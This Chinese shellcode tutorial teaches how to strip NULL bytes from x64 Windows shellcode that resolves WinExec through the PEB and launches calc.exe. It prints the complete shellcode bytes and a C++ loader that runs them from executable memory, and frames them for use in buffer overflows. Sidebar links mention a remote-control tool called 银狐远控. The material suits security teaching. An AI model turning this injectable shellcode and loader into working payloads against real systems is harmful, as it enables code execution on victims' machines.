文章总结： 这篇文章是x64汇编与shellcode入门教程的第三部分，详细介绍了如何从shellcode中移除NULL字节的技术。文章通过具体示例展示了使用XOR指令替代MOV指令、利用位移操作处理字符串终止符、以及通过寄存器操作避免直接使用包含NULL字节的地址偏移等方法。最后提供了完整的无NULL字节的shellcode，并通过C++代码验证了其功能，确保shellcode能在缓冲区溢出等场景中可靠使用。
综合评分： 91
文章分类： 二进制安全,漏洞分析,渗透测试,WEB安全,安全工具

x64汇编与 shellcode 入门教程 03

原创

安全研究员

CppGuide

2025年12月2日 14:10
上海

这是我的系列文章《x64汇编与 shellcode 入门教程》的第三篇，前两篇在这里：

x64汇编与shellcode入门教程 01

x64汇编与 shellcode 入门教程 02

现在终于到了我们清理代码并移除代码中NULL字节的时刻了。通过这种方式，我们就能在缓冲区溢出等场景中可靠地使用shellcode了。让我们开始吧！

我们将从包含NULL字节的代码开始。我会从本系列第一部分中使用的代码的底部开始，逐步向上分析。如果您需要随时参考该代码，在浏览器中打开一个单独的标签页可能会很有帮助。

00000000000000a5 <executeit>:
&nbsp; a5: &nbsp; 41 5f &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp;%r15
&nbsp; a7: &nbsp; b8 00 00 00 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;$0x0,%eax
&nbsp; ac: &nbsp; 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rax
&nbsp; ad: &nbsp; 48 b8 63 61 6c 63 2e &nbsp; &nbsp;movabs&nbsp;$0x6578652e636c6163,%rax
&nbsp; b4: &nbsp; 65 78 65
&nbsp; b7: &nbsp; 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rax
&nbsp; b8: &nbsp; 48 89 e1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%rsp,%rcx
&nbsp; bb: &nbsp; ba 01 00 00 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;$0x1,%edx
&nbsp; c0: &nbsp; 48 83 ec 30 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp;$0x30,%rsp
&nbsp; c4: &nbsp; 41 ff d7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; *%r15

首次出现NULL字节的代码位于这一行：

b8 00 00 00 00          mov    $0x0,%eax

这里引入NULL字节的原因是由于使用了mov指令来移动NULL字节用于终止字符串，目的是将寄存器eax清零，我们将用异或（XOR）指令替换这条MOV指令：

xor rax, rax
push rax

现在运行objdump并查看结果。已经没有零了：

48 31 c0                xor    %rax,%rax
50                      push   %rax

好的，接下来是下一个有问题的地方，这一行：

ba 01 00 00 00          mov    $0x1,%edx

我相信你已经弄明白了😸 我们只需要再把mov替换成xor就行了：

xor rdx, rdx
inc rdx

现在让我们再次查看objdump的输出，也没有零了。

48 31 d2                xor    %rdx,%rdx
48 ff c2                inc    %rdx

接下来是另外两个。它们来自**OrdinalLookup和OrdinalLookupSetup**。直接把这些行完全删掉就行。这些跳转是不必要的，我当初写这样的代码主要是用它们来帮助调试代码。好了，这很简单吧？

78 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; js &nbsp; &nbsp; 7b <OrdinalLookup>
78 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; js &nbsp; &nbsp; a5 <executeit>

好了，我们就快完成了！我们现在处于代码顶部的**main**函数中。你只需删除这一行：

eb 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp;59 <kernel32findfunction>

接下来的这两个对我来说是最难解决的。我们需要保留字符串终止符，但又不想处理NULL字节。

; movabs一个典型用途是加载一个绝对的 64 位内存地址到寄存器中
48 b8 57 69 6e 45 78    movabs $0x636578456e6957,%rax
65 63 00

我们将使用一个巧妙的按位左移和右移技巧，在已存入内存的字符串后“实际”添加一个零。具体操作如下，我们会用nop作为占位符，替代通常会出现00的位置：

mov rax, 0x90636578456E6957           ;WinExec地址
shl rax, 0x8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;636578456E695700 <--注意这里的90如何变成00
shr rax, 0x8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;00636578456E6957 <-- 现在nop指令已经被0代替了，但是这个0值并不会出现在我们最终的机器码（shellcode）中

现在让我们查看objdump的输出。发现已经没有NULL值了！

48 c1 e0 08             shl    $0x8,%rax
48 c1 e8 08             shr    $0x8,%rax
50                      push   %rax

当我们push rax时，会看到熟悉的WinExec字符串，并且可以在shellcode中不包含NULL值的情况下满足保留它的需求。

现在就剩最后一个空值了！

8b 93 88 00 00 00       mov    0x88(%rbx),%edx

基本上，我们只需要将**[rbx+0x88]的十六进制值移到rdx**中。然而，我们并不能完全按照你预期的方式来做，这种“简单”的方法会产生空值。相反，我们需要这样做：

xor rcx, rcx                  ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff                ; add to lower portion of register
shr rcx, 0x8                  ; shift right, which will remove the FF placeholder and leave the value we want: RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]            ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable

现在所有的空值都已被移除！我们现在可以获取新生成的shellcode（不含空值），并在缓冲区溢出中使用，无需担心任何与空值相关的问题。以下是我这边的objdump输出结果：

winexec_nonulls.obj:     file format pe-x86-64

Disassembly of section .text:

0000000000000000 <main>:
&nbsp; &nbsp;0: &nbsp; 48 83 ec 28 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp;$0x28,%rsp
&nbsp; &nbsp;4: &nbsp; 48 83 e4 f0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; and &nbsp; &nbsp;$0xfffffffffffffff0,%rsp
&nbsp; &nbsp;8: &nbsp; 48 31 c9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%rcx,%rcx
&nbsp; &nbsp;b: &nbsp; 65 48 8b 41 60 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%gs:0x60(%rcx),%rax
&nbsp; 10: &nbsp; 48 8b 40 18 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x18(%rax),%rax
&nbsp; 14: &nbsp; 48 8b 70 10 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x10(%rax),%rsi
&nbsp; 18: &nbsp; 48 8b 36 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;(%rsi),%rsi
&nbsp; 1b: &nbsp; 48 8b 36 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;(%rsi),%rsi
&nbsp; 1e: &nbsp; 48 8b 5e 30 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x30(%rsi),%rbx
&nbsp; 22: &nbsp; 49 89 d8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%rbx,%r8
&nbsp; 25: &nbsp; 8b 5b 3c &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;0x3c(%rbx),%ebx
&nbsp; 28: &nbsp; 4c 01 c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%rbx
&nbsp; 2b: &nbsp; 48 31 c9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%rcx,%rcx
&nbsp; 2e: &nbsp; 66 81 c1 ff 88 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;$0x88ff,%cx
&nbsp; 33: &nbsp; 48 c1 e9 08 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shr &nbsp; &nbsp;$0x8,%rcx
&nbsp; 37: &nbsp; 8b 14 0b &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;(%rbx,%rcx,1),%edx
&nbsp; 3a: &nbsp; 4c 01 c2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%rdx
&nbsp; 3d: &nbsp; 44 8b 52 14 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x14(%rdx),%r10d
&nbsp; 41: &nbsp; 4d 31 db &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%r11,%r11
&nbsp; 44: &nbsp; 44 8b 5a 20 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x20(%rdx),%r11d
&nbsp; 48: &nbsp; 4d 01 c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%r11
&nbsp; 4b: &nbsp; 4c 89 d1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%r10,%rcx
&nbsp; 4e: &nbsp; 48 b8 57 69 6e 45 78 &nbsp; &nbsp;movabs&nbsp;$0x90636578456e6957,%rax
&nbsp; 55: &nbsp; 65 63 90
&nbsp; 58: &nbsp; 48 c1 e0 08 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shl &nbsp; &nbsp;$0x8,%rax
&nbsp; 5c: &nbsp; 48 c1 e8 08 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shr &nbsp; &nbsp;$0x8,%rax
&nbsp; 60: &nbsp; 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rax
&nbsp; 61: &nbsp; 48 89 e0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%rsp,%rax
&nbsp; 64: &nbsp; 48 83 c4 08 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp;$0x8,%rsp

0000000000000068 <kernel32findfunction>:
&nbsp; 68: &nbsp; 67 e3 17 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jecxz &nbsp;82 <FunctionNameNotFound>
&nbsp; 6b: &nbsp; 31 db &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xor &nbsp; &nbsp;%ebx,%ebx
&nbsp; 6d: &nbsp; 41 8b 5c 8b 04 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;0x4(%r11,%rcx,4),%ebx
&nbsp; 72: &nbsp; 4c 01 c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%rbx
&nbsp; 75: &nbsp; 48 ff c9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dec &nbsp; &nbsp;%rcx
&nbsp; 78: &nbsp; 4c 8b 08 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;(%rax),%r9
&nbsp; 7b: &nbsp; 4c 39 0b &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp;%r9,(%rbx)
&nbsp; 7e: &nbsp; 74 03 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; je &nbsp; &nbsp; 83 <FunctionNameFound>
&nbsp; 80: &nbsp; 75 e6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jne &nbsp; &nbsp;68 <kernel32findfunction>

0000000000000082 <FunctionNameNotFound>:
&nbsp; 82: &nbsp; cc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int3

0000000000000083 <FunctionNameFound>:
&nbsp; 83: &nbsp; 51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rcx
&nbsp; 84: &nbsp; 41 5f &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp;%r15
&nbsp; 86: &nbsp; 4c 89 f9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%r15,%rcx
&nbsp; 89: &nbsp; 4d 31 db &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%r11,%r11
&nbsp; 8c: &nbsp; 44 8b 5a 24 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x24(%rdx),%r11d
&nbsp; 90: &nbsp; 4d 01 c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%r11
&nbsp; 93: &nbsp; 48 ff c1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;inc &nbsp; &nbsp;%rcx
&nbsp; 96: &nbsp; 66 45 8b 2c 4b &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;(%r11,%rcx,2),%r13w
&nbsp; 9b: &nbsp; 4d 31 db &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%r11,%r11
&nbsp; 9e: &nbsp; 44 8b 5a 1c &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp;0x1c(%rdx),%r11d
&nbsp; a2: &nbsp; 4d 01 c3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%r11
&nbsp; a5: &nbsp; 43 8b 44 ab 04 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;0x4(%r11,%r13,4),%eax
&nbsp; aa: &nbsp; 4c 01 c0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp;%r8,%rax
&nbsp; ad: &nbsp; 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rax
&nbsp; ae: &nbsp; 41 5f &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp;%r15
&nbsp; b0: &nbsp; 48 31 c0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%rax,%rax
&nbsp; b3: &nbsp; 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rax
&nbsp; b4: &nbsp; 48 b8 63 61 6c 63 2e &nbsp; &nbsp;movabs&nbsp;$0x6578652e636c6163,%rax
&nbsp; bb: &nbsp; 65 78 65
&nbsp; be: &nbsp; 50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; %rax
&nbsp; bf: &nbsp; 48 89 e1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;%rsp,%rcx
&nbsp; c2: &nbsp; 48 31 d2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;%rdx,%rdx
&nbsp; c5: &nbsp; 48 ff c2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;inc &nbsp; &nbsp;%rdx
&nbsp; c8: &nbsp; 48 83 ec 30 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp;$0x30,%rsp
&nbsp; cc: &nbsp; 41 ff d7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; *%r15

现在让我们转换为shellcode。这次我会使用Linux，并使用以下命令：

nasm -fwin64 winexec_nonulls.asm -o winexec_nonulls.o

for i in $(objdump -D winexec_nonulls.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done

这是我得到的结果：

"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";

让我们在一些实际代码中尝试使用它，以确保它能按预期工作。

#include&nbsp;<windows.h>
#include&nbsp;<iostream>

// Shellcode (as given, formatted&nbsp;for&nbsp;clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";

int&nbsp;main() {
&nbsp; &nbsp; void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

&nbsp; &nbsp;&nbsp;if&nbsp;(exec_mem == nullptr) {
&nbsp; &nbsp; &nbsp; &nbsp; std::cerr <<&nbsp;"Memory allocation failed\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;
&nbsp; &nbsp; }

&nbsp; &nbsp; memcpy(exec_mem, shellcode, sizeof(shellcode));
&nbsp; &nbsp; auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
&nbsp; &nbsp; shellcode_func();
&nbsp; &nbsp; VirtualFree(exec_mem, 0, MEM_RELEASE);

&nbsp; &nbsp;&nbsp;return&nbsp;0;
}

就是这样！无NULL字节的shellcode成功了😄 到目前为止，我在这个系列中玩得很开心，还有更多令人兴奋的内容即将到来。我仍然需要按承诺在某个时候完成动态消息框。一切都会在适当的时候进行。下次见！

声明

本文介绍的内容纯作为编程技术交流，不得用于任何非法用途，否则后果自负，与本号无关。

推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题

银狐远控代码中差异屏幕bug修复

银狐远程屏幕内存优化方法探究

银狐远程软件bug修复记录 第03篇

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：CppGuide 安全研究员《x64汇编与 shellcode 入门教程 03》